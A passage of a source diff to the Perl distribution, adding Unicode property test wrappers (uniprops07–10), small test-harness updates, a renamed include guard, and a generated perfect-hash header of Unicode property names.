+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops07.t b/gnu/usr.bin/perl/t/re/uniprops07.t
new file mode 100644
index 00000000000..fe6795498e7
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops07.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=7;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops08.t b/gnu/usr.bin/perl/t/re/uniprops08.t
new file mode 100644
index 00000000000..a9b412a9037
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops08.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=8;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops09.t b/gnu/usr.bin/perl/t/re/uniprops09.t
new file mode 100644
index 00000000000..c9b469b4392
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops09.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=9;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/re/uniprops10.t b/gnu/usr.bin/perl/t/re/uniprops10.t
new file mode 100644
index 00000000000..0d0e1edd222
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/uniprops10.t
@@ -0,0 +1,40 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+if ($^O eq 'dec_osf') {
+ print "1..0 # $^O cannot handle this test\n";
+ exit(0);
+}
+
+# TODO: it would be good to have watchdog(5 * 60) in here
+# for slow machines, but unfortunately we cannot trivially
+# use test.pl because the TestProp.pl avoids using that.
+
+# This is a wrapper for a generated file. Assumes being run from 't'
+# directory.
+
+# It is skipped by default under PERL_DEBUG_READONLY_COW, but you can run
+# it directly via: cd t; ./perl -I../lib ../lib/unicore/TestProp.pl
+
+require Config;
+if ($Config::Config{ccflags} =~ /(?:^|\s)-DPERL_DEBUG_READONLY_COW\b/) {
+ print "1..0 # Skip PERL_DEBUG_READONLY_COW\n";
+ exit;
+}
+
+$::TESTCHUNK=10;
+do '../lib/unicore/TestProp.pl';
+
+# Since TestProp.pl explicitly exits, we will only get here if it
+# could not load.
+if (defined &DynaLoader::boot_DynaLoader # not miniperl
+ || eval 'require "unicore/Heavy.pl"' # or tables are built
+) {
+ die "Could not run lib/unicore/TestProp.pl: ", $@||$!;
+}
+else {
+ print "1..0 # Skip Unicode tables not built yet\n";
+}
+
+0
diff --git a/gnu/usr.bin/perl/t/run/switchDx.t b/gnu/usr.bin/perl/t/run/switchDx.t
index acb299561bb..9ea0a325421 100644
--- a/gnu/usr.bin/perl/t/run/switchDx.t
+++ b/gnu/usr.bin/perl/t/run/switchDx.t
@@ -11,7 +11,7 @@ use Config;
my $perlio_log = "perlio$$.txt";
skip_all "DEBUGGING build required"
- unless $::Config{ccflags} =~ /DEBUGGING/
+ unless $::Config{ccflags} =~ /(?<!\S)-DDEBUGGING(?!\S)/
or $^O eq 'VMS' && $::Config{usedebugging_perl} eq 'Y';
plan tests => 8;
@@ -26,7 +26,7 @@ END {
{ stderr => 1 },
"No perlio debug file without -Di...");
ok(!-e $perlio_log, "...no perlio.txt found");
- fresh_perl_is("print qq(hello\n)", "\nEXECUTING...\n\nhello\n",
+ fresh_perl_like("print qq(hello\n)", qr/\nEXECUTING...\n{1,2}hello\n?/,
{ stderr => 1, switches => [ "-Di" ] },
"Perlio debug file with both -Di and PERLIO_DEBUG...");
ok(-e $perlio_log, "... perlio debugging file found with -Di and PERLIO_DEBUG");
diff --git a/gnu/usr.bin/perl/t/uni/bless.t b/gnu/usr.bin/perl/t/uni/bless.t
index 5475f3ee731..fe81485aab0 100644
--- a/gnu/usr.bin/perl/t/uni/bless.t
+++ b/gnu/usr.bin/perl/t/uni/bless.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use utf8;
diff --git a/gnu/usr.bin/perl/t/uni/caller.t b/gnu/usr.bin/perl/t/uni/caller.t
index b98ae07c4f0..c48018c1ee5 100644
--- a/gnu/usr.bin/perl/t/uni/caller.t
+++ b/gnu/usr.bin/perl/t/uni/caller.t
@@ -3,8 +3,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
plan( tests => 18 );
}
@@ -24,8 +24,11 @@ sub { @c = caller(0) } -> ();
::is( $c[3], "ï½ï½ï½‰ï½Ž::__ANON__", "anonymous subroutine name" );
::ok( $c[4], "hasargs true with anon sub" );
-# Bug 20020517.003, used to dump core
+# Bug 20020517.003 (#9367), used to dump core
sub fï½ï½ { @c = caller(0) }
+# The subroutine only gets anonymised if it is relying on a real GV
+# for its name.
+() = *{"fï½ï½"}; # with quotes so that the op tree doesn’t reference the GV
my $fooref = delete $ï½ï½ï½‰ï½Ž::{fï½ï½};
$fooref -> ();
::is( $c[3], "ï½ï½ï½‰ï½Ž::__ANON__", "deleted subroutine name" );
@@ -55,6 +58,7 @@ sub { f() } -> ();
::ok( $c[4], "hasargs true with anon sub" );
sub fï½ï½2 { f() }
+() = *{"fï½ï½2"}; # see fï½ï½ notes above
my $fooref2 = delete $ï½ï½ï½‰ï½Ž::{fï½ï½2};
$fooref2 -> ();
::is( $c[3], "ï½ï½ï½‰ï½Ž::__ANON__", "deleted subroutine name" );
diff --git a/gnu/usr.bin/perl/t/uni/select.t b/gnu/usr.bin/perl/t/uni/select.t
index 0e00105398b..de0cb5ed76c 100644
--- a/gnu/usr.bin/perl/t/uni/select.t
+++ b/gnu/usr.bin/perl/t/uni/select.t
@@ -6,8 +6,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use utf8;
diff --git a/gnu/usr.bin/perl/time64_config.h b/gnu/usr.bin/perl/time64_config.h
index 42cc12c88e4..0bebebb53c0 100644
--- a/gnu/usr.bin/perl/time64_config.h
+++ b/gnu/usr.bin/perl/time64_config.h
@@ -1,5 +1,5 @@
-#ifndef TIME64_CONFIG_H
-# define TIME64_CONFIG_H
+#ifndef PERL_TIME64_CONFIG_H_
+# define PERL_TIME64_CONFIG_H_
/* Configuration
-------------
@@ -82,4 +82,4 @@
#define SYSTEM_GMTIME_MAX CAT2(GMTIME_MAX,.0)
#define SYSTEM_GMTIME_MIN CAT2(GMTIME_MIN,.0)
-#endif /* TIME64_CONFIG_H */
+#endif /* PERL_TIME64_CONFIG_H_ */
diff --git a/gnu/usr.bin/perl/uni_keywords.h b/gnu/usr.bin/perl/uni_keywords.h
new file mode 100644
index 00000000000..df39c7e7670
--- /dev/null
+++ b/gnu/usr.bin/perl/uni_keywords.h
@@ -0,0 +1,6762 @@
+/* -*- buffer-read-only: t -*-
+ * !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
+ * This file is built by regen/mk_invlists.pl from mph.pl.
+ * Any changes made here will be lost!
+ */
+
+#define MPH_VALt I16
+
+/*
+rows: 6507
+seed: 1348825708
+full length of keys: 91401
+blob length: 8943
+ref length: 52056
+data size: 60999 (%66.74)
+*/
+
+STATIC const unsigned char mph_blob[] =
+ "unifiedcanadianaboriginalsyllabicsextendedcjkcompatibilityideogra"
+ "phssupplementarabicmathematicalalphabeticsymbolscombiningdiacriti"
+ "calmarksforsymbolscombiningdiacriticalmarkssupplementmiscellaneou"
+ "ssymbolsandpictographs_perl_problematic_locale_foldeds_combiningd"
+ "iacriticalmarksextendedmiscellaneousmathematicalsymbolsamiscellan"
+ "eousmathematicalsymbolsbsupplementalmathematicaloperatorssuppleme"
+ "ntalsymbolsandpictographsideographicdescriptioncharactersideograp"
+ "hicsymbolsandpunctuationmathematicalalphanumericsymbolscjkunified"
+ "ideographsextensionacjkunifiedideographsextensionbcjkunifiedideog"
+ "raphsextensionccjkunifiedideographsextensiondcjkunifiedideographs"
+ "extensionecjkunifiedideographsextensionfcuneiformnumbersandpunctu"
+ "ationenclosedalphanumericsupplementenclosedideographicsupplementm"
+ "iscellaneoussymbolsandarrowsphoneticextensionssupplementsupplemen"
+ "taryprivateuseareaasupplementaryprivateuseareabvariationselectors"
+ "supplementalphabeticpresentationformsancientgreekmusicalnotationc"
+ "anonicalcombiningclass=cccenclosedcjklettersandmonthsopticalchara"
+ "cterrecognitionconditionaljapanesestarterhalfwidthandfullwidthfor"
+ "mskatakanaphoneticextensionsprependedconcatenationmarkchangeswhen"
+ "nfkccasefoldeddefaultignorablecodepointsuperscriptsandsubscriptsa"
+ "rabicpresentationformsaarabicpresentationformsbcjksymbolsandpunct"
+ "uationcombiningmarksforsymbolsconsonantsucceedingrephafullcomposi"
+ "tionexclusionhighprivateusesurrogatesindicpositionalcategory=indi"
+ "csyllabiccategory=insupsymbolsandpictographsbidipairedbrackettype"
+ "=cbyzantinemusicalsymbolsconsonantprecedingrephageometricshapesex"
+ "tendedhangulcompatibilityjamolatinextendedadditionalshorthandform"
+ "atcontrolssupplementalpunctuationcjkcompatideographssupcommonindi"
+ "cnumberformsdiacriticalsforsymbolsearlydynasticcuneiformgraphemec"
+ "lusterbreak=smiscellaneoustechnicalspacingmodifierletterstranspor"
+ "tandmapsymbolschangeswhencasefoldedchangeswhencasemappedchangeswh"
+ "enlowercasedchangeswhentitlecasedchangeswhenuppercasedcjkcompatib"
+ "ilityformscjkradicalssupplementcyrillicsupplementaryinscriptional"
+ "parthianlogicalorderexceptionmeeteimayekextensionsnoncharactercod"
+ "epointpopdirectionalisolatesinhalaarchaicnumbersyijinghexagramsym"
+ "bolsanatolianhieroglyphsconnectorpunctuationconsonantplaceholderc"
+ "onsonantwithstackergeneralcategory=lineglagoliticsupplementinscri"
+ "ptionalpahlavilefttorightembeddingpopdirectionalformatrighttoleft"
+ "embeddingtopandbottomandrightverticalorientation=ancientgreeknumb"
+ "ersbrahmijoiningnumberburushaskiyehbarreeconsonantheadlettercount"
+ "ingrodnumeralsegyptianhieroglyphsenclosedalphanumsupfolds_to_mult"
+ "i_charhanguljamoextendedahanguljamoextendedblefttorightoverrideme"
+ "roitichieroglyphsmodifiertonelettersmongoliansupplementrighttolef"
+ "toverridesundanesesupplementsupplementalarrowsasupplementalarrows"
+ "bsupplementalarrowscterminalpunctuationattachedaboverightcherokee"
+ "supplementcombininghalfmarksconsonantsubjoinedcopticepactnumbersd"
+ "ecompositiontype=devanagariextendedethiopicsupplementeuropeanterm"
+ "inatorfirststrongisolategeneralpunctuationgeorgiansupplementidstr"
+ "inaryoperatorinitialpunctuationlatinextadditionallefttorightisola"
+ "teornamentaldingbatsparagraphseparatorrighttoleftisolateruminumer"
+ "alsymbolsscriptextensions=vtaixuanjingsymbolstopandleftandrighttr"
+ "ansformedrotatedtransformeduprighttype=notapplicablealchemicalsym"
+ "bolsattachedbelowleftcanadiansyllabicscaucasianalbanianconsonantp"
+ "refixedcyrillicextendedacyrillicextendedbcyrillicextendedceastasi"
+ "anwidth=haethiopicextendedaeuropeanseparatoridsbinaryoperatorlett"
+ "erlikesymbolsmanichaeandhamedhmanichaeanhundredmanichaeanthamedhp"
+ "atternwhitespaceregionalindicatorsmallformvariantssuttonsignwriti"
+ "ngtype=trailingjamoarabicsupplementbopomofoextendedcantillationma"
+ "rkcloseparenthesisclosepunctuationcypriotsyllabaryfinalpunctuatio"
+ "nhalfandfullformshighpusurrogateslatin1supplementlinearbideograms"
+ "linearbsyllabarymanichaeandalethmanichaeanlamedhmanichaeansamekhm"
+ "anichaeantwentymiscmathsymbolsamiscmathsymbolsbmyanmarextendedamy"
+ "anmarextendedbotherpunctuationsegmentseparatorsentenceterminalsup"
+ "mathoperatorssyllablemodifiersyriacsupplementtangutcomponentstype"
+ "=leadingjamotype=lvtsyllablevowelindependent_perl_charname_arabic"
+ "extendedabamumsupplementboundaryneutralbraillepatternscommonsepar"
+ "atorconsonantkillerconsonantmedialcontingentbreakcontrolpicturesc"
+ "urrencysymbolsdashpunctuationdiacriticalsextdiacriticalssuphangul"
+ "syllablesimperialaramaicjoininggroup=kalowercaselettermanichaeana"
+ "lephmanichaeangimelmanichaeansadhemanichaeanzayinmeroiticcursivem"
+ "iscpictographsmodifyingletternfcquickcheck=nnfdquickcheck=nnfkcqu"
+ "ickcheck=oldnortharabianoldsoutharabianopenpunctuationregistershi"
+ "ftersentencebreak=ctitlecaselettertype=lvsyllableuppercaseletterv"
+ "edicextensionsvisualorderleftzanabazarsquareancientsymbolscarriag"
+ "ereturncjkcompatformscomplexcontextconsonantfinaleuropeannumberge"
+ "minationmarkgraphemeextendgreekandcoptichamzaonhehgoalhighsurroga"
+ "teskanasupplementkangxiradicalslatinextendedblatinextendedclatine"
+ "xtendeddlatinextendedemandatorybreakmanichaeanayinmanichaeanbethm"
+ "anichaeanfivemanichaeanhethmanichaeankaphmanichaeanqophmanichaean"
+ "reshmanichaeantethmanichaeanyodhmodifiersymbolnfkdquickchecknojoi"
+ "ninggroupnonspacingmarkphoneticextsuppostfixnumericpsalterpahlavi"
+ "spaceseparatorsuppunctuationtehmarbutagoaltype=voweljamovisiblest"
+ "ackervoweldependent1000000000000aegeannumbersasciihexdigitblockel"
+ "ementsbottomandleftcaseignorableconsonantdeaddecimalnumberenclosi"
+ "ngmarkgreekextendediotasubscriptipaextensionsjoiningtype=dkanaext"
+ "endedalineseparatorlowsurrogatesmalayalamlllamalayalamnnnamanicha"
+ "eanmemmanichaeannunmanichaeanonemanichaeantawmanichaeantenmanicha"
+ "eanwawmisctechnicalnumericvalue=patternsyntaxprefixnumericquotati"
+ "onmarkverticalformsalphabeticpfarabicletterarabicnumberbidiclass="
+ "bobidimirroredbreaksymbolscyrillicextacyrillicextbcyrillicextceth"
+ "iopicextaextendnumletfinalsemkathglueafterzwjgraphemebasehebrewle"
+ "tterinfixnumerickhmersymbolsletternumbermahjongtilesmalayalambham"
+ "alayalamllamalayalamngamalayalamnnamalayalamnyamalayalamssamalaya"
+ "lamttamanichaeanpemasaramgondimathalphanummendekikakuinoncanonica"
+ "lnotreorderednumberjoineroldhungarianotherneutralphaistosdiscplay"
+ "ingcardsrightjoiningafricannoonbidicontrolbreakbeforecasedletterc"
+ "ategory=cadominotilesdoubleabovedoublebelowdoublequotedualjoining"
+ "exclamationinseparableinseperablejoincausingjoincontrolkanavoicin"
+ "gkatakanaextleftjoininglinebreak=mmalayalamjamalayalamramiscsymbo"
+ "lsmyanmarextamyanmarextbnumerictypeotherletterothernumberothersym"
+ "bolpahawhhmongrohingyayehsinglequotesorasompengstraightwawsuperan"
+ "dsubsylotinagritopandrighttransparentwordbreak=nxidcontinueyehwit"
+ "htailyisyllablesafricanfehafricanqafarabicextabasiclatinbelowrigh"
+ "tboxdrawingbreakaftercjkstrokescompatjamodalathrishdeprecatedkhar"
+ "oshthiknottedhehmiscarrowsnonjoiningnonstarteroldpersianoverstruc"
+ "kphoenicianpresentin=purekillerreversedpesaurashtrasmallformssoft"
+ "dottedsuparrowsasuparrowsbsuparrowscunassignedwarangcitiwordjoine"
+ "ryiradicalsaboveleftambiguousany_foldsarabicpfaarabicpfbbhaiksuki"
+ "blk=indicbreakbothemoticonsinheritedkhudawadilatinextblatinextcla"
+ "tinextdmidlettermidnumletnabataeannewtailuenonjoinerolditalicoldp"
+ "ermicoldturkicpalmyrenepaucinhauquotemetasamaritanscontinuesyriac"
+ "waw=decimal=numericarmenianavagrahabalinesebassavahblock=blbugine"
+ "seduployanebasegazextenderfarsiyehfractiongujaratigurmukhihiragan"
+ "aisolatedisxposixjamoextajamoextbjavanesekanaextalinefeedmahajani"
+ "nextlinescript=bspecialsswashkaftagbanwatifinaghtonemarkugariticx"
+ "idstartaletteravestanbengalic=maybeccc=ccccjkextacjkextbcjkextccj"
+ "kextdcjkextecjkextfdeseretelbasangranthahanunooinsc=inishorizispo"
+ "sixisspaceisxperlkannadakayahlilinearamandaicmarchenmultaninobloc"
+ "knobreaknondcijolchikioletterosmanyaoverlayphagspasharadashavians"
+ "iddhamsoyombosuppuaasuppuabtagalogtaithamtaiviettibetantirhutatyp"
+ "e=naucasextunknownvisargazwspace200000216000300000400000432000500"
+ "000600000700000800000900000=digit=false_case_carianchakmacircleco"
+ "mpexewlinegothicgrbasehatranhyphenisperlisvertkaithikanbunkhojkil"
+ "amadhlepchalycianlydiannarrowpatsynrejangsc=khateluguthaanavirama"
+ "yudhhe1/16011/12=none=trueadlamalaphatermbatakbeginbindublankbuhi"
+ "dc=yescntrlcwkcfgc=segcb=ggrextinpc=inzanisunikhaphlimbunuktanush"
+ "uoghamoriyaosagepatwsprintqmarkrunicscx=bstermtailetakritamiluide"
+ "ovssupzhain-1/21/101/201/4010.011/213/215/217/23/163/203/805/127/"
+ "12adlmage=aghbahexahomalefarmiarmnataratblavstbatkbc=ebhksbpt=buh"
+ "dc=nocakmcanscprtcwcfcwcmcyrldsrtdt=efontgonmgrekgujrguruhanihano"
+ "hluwhmnginblinshintijg=gjt=lkalikhmrkndakthilanalaoolatnlb=llinal"
+ "inblisumeemmercmiaomlymmroomteimymrnarbnbatnewankoonshuogamolckor"
+ "khoryaosgephlpphnxplrdprtiqaacqaaiqaphrjngrunrsamrsarbsb=csc=lsee"
+ "nsgnwshawshrdsyrctagstalutamltavttfngtglgthaitibtv100vaiiwb=nwide"
+ "xpeoxsuxyiiizainzanbzinhzyyyzzzz1.11/31/51/61/71/81/9103107118122"
+ "1291301321332.02.12/32/52022142182202222242262282302322332342403."
+ "03.13.23/43/54.04.14/55.05.15.25/65/86.06.16.26.37.07/88.09.09/2b"
+ "ehcwlcwtcwuea=ebgfsiinvloelrelrilromimnsmnv=ocrpcmpdfrehsmlsqrtah"
+ "v11v20v21v30v31v32v40v41v50v51v52v60v61v62v63v70v80v90vo=19353638"
+ "39444546474849b2bkh2h3jljvl&vrxxzlzpzs";
+/* mph_blob length: 8943 */
+
+struct mph_struct {
+ U16 seed2;
+ U16 pfx;
+ U16 sfx;
+ U8 pfx_len;
+ U8 sfx_len;
+ MPH_VALt value;
+};
+
+#define MPH_RSHIFT 8
+#define MPH_BUCKETS 6507
+
+STATIC const U32 MPH_SEED1 = 0x5065726c;
+STATIC const U32 MPH_FNV_CONST = 0x01000193;
+
+
+STATIC const struct mph_struct mph_table[MPH_BUCKETS] = {
+ { 0, 2108, 7209, 3, 7, PL_INHIRAGANA } /* inhiragana */,
+ { 4, 8376, 6576, 3, 10, PL_LB__BA } /* lb=breakafter */,
+ { 0, 3521, 218, 5, 4, PL_XPOSIXSPACE } /* spaceperl */,
+ { 0, 1417, 468, 9, 11, PL_P } /* category=punctuation */,
+ { 3, 7288, 8111, 7, 5, PL_SC__TAKR } /* script=takri */,
+ { 3, 8096, 8208, 4, 4, PL_AHOM } /* scx=ahom */,
+ { 2, 8508, 7877, 4, 3, PL_LYCI } /* sc=lyci */,
+ { 0, 3129, 8400, 17, 4, PL_MIAO } /* scriptextensions=miao */,
+ { 0, 2221, 4030, 3, 12, PL_GCB__L } /* hst=leadingjamo */,
+ { 0, 6647, 3273, 4, 15, PL_UCAS } /* iscanadiansyllabics */,
+ { 0, 8204, 3223, 4, 3, -PL_POSIXXDIGIT } /* ahex=no */,
+ { 0, 7459, 8536, 3, 4, PL_TALU } /* sc=talu */,
+ { 0, 8572, 4653, 3, 2, PL_WB__SQ } /* wb=sq */,
+ { 4, 6890, 2731, 4, 19, PL_SUPARROWSC } /* blk=supplementalarrowsc */,
+ { 0, 7459, 7900, 3, 6, PL_RJNG } /* sc=rejang */,
+ { 0, 6210, 511, 3, 19, PL_CJK } /* incjkunifiedideographs */,
+ { 1, 4239, 3581, 4, 2, PL_DASH } /* dash=t */,
+ { 1, 8096, 8464, 4, 4, PL_PHNX } /* scx=phnx */,
+ { 2, 1417, 3914, 9, 16, PL_PO } /* category=otherpunctuation */,
+ { 2, 8783, 7997, 3, 4, PL_CWU } /* cwu=yes */,
+ { 0, 7478, 3995, 3, 5, PL_SYRC } /* issyriac */,
+ { 3, 2100, 5871, 3, 3, PL_OGAM } /* isogam */,
+ { 0, 4314, 6516, 13, 10, PL_JG__AFRICANFEH } /* joininggroup=africanfeh */,
+ { 1, 4440, 2251, 4, 11, PL_GLAGOLITICSUP } /* inglagoliticsup */,
+ { 6, 2002, 0, 21, 0, PL_PRTI } /* inscriptionalparthian */,
+ { 0, 184, 7799, 3, 5, PL_COMPEX } /* iscompex */,
+ { 0, 7459, 7520, 3, 4, PL_MARC } /* sc=marc */,
+ { 0, 3129, 2149, 17, 20, PL_HLUW } /* scriptextensions=anatolianhieroglyphs */,
+ { 0, 7459, 7555, 3, 7, PL_OLCK } /* sc=olchiki */,
+ { 0, 6890, 3111, 4, 18, PL_RUMI } /* blk=ruminumeralsymbols */,
+ { 0, 8376, 4524, 3, 15, PL_LB__OP } /* lb=openpunctuation */,
+ { 1, 7136, 1543, 6, 18, PL_GEOMETRICSHAPESEXT } /* block=geometricshapesext */,
+ { 0, 3129, 3994, 17, 6, PL_SYRC } /* scriptextensions=syriac */,
+ { 1, 6263, 7280, 10, 8, PL_LB__NL } /* linebreak=nextline */,
+ { 0, 6890, 78, 4, 10, PL_ARABICMATH } /* blk=arabicmath */,
+ { 22, 7380, 5595, 4, 2, PL_CCC__8 } /* ccc=kv */,
+ { 3, 8096, 8420, 4, 4, PL_NARB } /* scx=narb */,
+ { 0, 5134, 6030, 3, 11, PL_PHAISTOS } /* isphaistosdisc */,
+ { 1, 184, 1681, 3, 21, PL_INDICNUMBERFORMS } /* iscommonindicnumberforms */,
+ { 1, 8121, 7997, 5, 4, PL_UIDEO } /* uideo=yes */,
+ { 1, 2108, 4286, 4, 13, PL_INHANGUL } /* inhangulsyllables */,
+ { 2, 8240, 3093, 3, 18, PL_BC__RLI } /* bc=righttoleftisolate */,
+ { 1, 3129, 8404, 17, 4, PL_MLYM } /* scriptextensions=mlym */,
+ { 1, 184, 8420, 2, 4, PL_NARB } /* isnarb */,
+ { 1, 4402, 780, 3, 28, PL_MISCARROWS } /* inmiscellaneoussymbolsandarrows */,
+ { 1, 6263, 722, 10, 2, PL_LB__CL } /* linebreak=cl */,
+ { 1, 3111, 0, 4, 0, PL_RUMI } /* rumi */,
+ { 1, 6263, 4452, 10, 2, PL_LB__QU } /* linebreak=qu */,
+ { 1, 415, 7951, 11, 5, PL_IDEO } /* ideographic=true */,
+ { 1, 7459, 6406, 3, 11, PL_SORA } /* sc=sorasompeng */,
+ { 2, 21, 2128, 2, 6, PL_YIJING } /* inyijing */,
+ { 1, 7689, 8201, 3, 3, PL_AGHB } /* isaghb */,
+ { 4, 3129, 7144, 17, 8, PL_BUGI } /* scriptextensions=buginese */,
+ { 0, 4239, 7768, 4, 2, -PL_DASH } /* dash=f */,
+ { 18, 7136, 5093, 6, 14, PL_PHONETICEXTSUP } /* block=phoneticextsup */,
+ { 2, 5336, 0, 13, 0, PL_GREEKEXT } /* greekextended */,
+ { 2, 8276, 7997, 4, 4, PL_CWCM } /* cwcm=yes */,
+ { 0, 7136, 2617, 6, 19, PL_MODIFIERTONELETTERS } /* block=modifiertoneletters */,
+ { 1, 6756, 7768, 10, 6, -PL_SD } /* softdotted=false */,
+ { 1, 8798, 7951, 3, 5, PL_LOE } /* loe=true */,
+ { 10, 8092, 1201, 4, 3, PL_ANY } /* unicode */,
+ { 0, 7457, 7328, 5, 8, PL_INSC__TONEMARK } /* insc=tonemark */,
+ { 1, 8096, 2674, 4, 4, PL_SUND } /* scx=sund */,
+ { 0, 4314, 65, 15, 2, PL_JG__KAPH } /* joininggroup=kaph */,
+ { 11, 7569, 0, 7, 0, PL_OSMA } /* osmanya */,
+ { 4, 3509, 7768, 17, 2, -PL_PATWS } /* patternwhitespace=f */,
+ { 0, 8816, 8171, 3, 2, PL_NV__23 } /* nv=23 */,
+ { 1, 5544, 7710, 13, 3, PL_NV__600 } /* numericvalue=600 */,
+ { 0, 7136, 1797, 6, 15, PL_MODIFIERLETTERS } /* block=modifierletters */,
+ { 1, 447, 0, 18, 0, PL_IDEOGRAPHICSYMBOLS } /* ideographicsymbols */,
+ { 0, 8376, 1055, 3, 26, PL_LB__CJ } /* lb=conditionaljapanesestarter */,
+ { 0, 7478, 350, 3, 32, PL_SUPMATHOPERATORS } /* issupplementalmathematicaloperators */,
+ { 0, 3129, 8480, 17, 4, PL_QAAI } /* scriptextensions=qaai */,
+ { 0, 2408, 0, 6, 0, PL_BRAH } /* brahmi */,
+ { 3, 3075, 0, 18, 0, PL_ZP } /* paragraphseparator */,
+ { 0, 4314, 5746, 13, 7, PL_JG__SEMKATH } /* joininggroup=semkath */,
+ { 4, 7459, 7583, 3, 7, PL_SC__PHAG } /* sc=phagspa */,
+ { 2, 2108, 2562, 4, 17, PL_JAMOEXTB } /* inhanguljamoextendedb */,
+ { 0, 5968, 125, 3, 2, PL_OCR } /* inocr */,
+ { 0, 6713, 8888, 3, 3, PL_IN__8 } /* in=v80 */,
+ { 0, 3129, 8492, 17, 4, PL_RUNR } /* scriptextensions=runr */,
+ { 2, 5765, 7951, 12, 5, PL_GRBASE } /* graphemebase=true */,
+ { 0, 3129, 2408, 17, 6, PL_BRAH } /* scriptextensions=brahmi */,
+ { 2, 7136, 1981, 6, 11, PL_CYRILLICSUP } /* block=cyrillicsup */,
+ { 3, 6756, 7997, 10, 4, PL_SD } /* softdotted=yes */,
+ { 33, 2134, 7951, 3, 5, PL_XPOSIXXDIGIT } /* hex=true */,
+ { 1, 5544, 8646, 13, 2, PL_NV__29 } /* numericvalue=29 */,
+ { 0, 2859, 2991, 18, 3, PL_DT__NAR } /* decompositiontype=nar */,
+ { 1, 974, 8675, 24, 3, PL_CCC__BL } /* canonicalcombiningclass=218 */,
+ { 3, 6472, 1621, 10, 6, PL_WB__FO } /* wordbreak=format */,
+ { 9, 18, 3223, 2, 3, -PL_RI } /* ri=no */,
+ { 1, 6890, 660, 4, 30, PL_CJKEXTF } /* blk=cjkunifiedideographsextensionf */,
+ { 0, 96, 7997, 5, 2, PL_XPOSIXALPHA } /* alpha=y */,
+ { 3, 184, 1107, 2, 8, PL_KANA } /* iskatakana */,
+ { 6, 3129, 7312, 17, 8, PL_TAGB } /* scriptextensions=tagbanwa */,
+ { 32, 6890, 3610, 4, 8, PL_INBOPOMOFO } /* blk=bopomofo */,
+ { 1, 5557, 3581, 13, 2, PL_PATSYN } /* patternsyntax=t */,
+ { 0, 184, 3866, 2, 16, PL_MISCMATHSYMBOLSB } /* ismiscmathsymbolsb */,
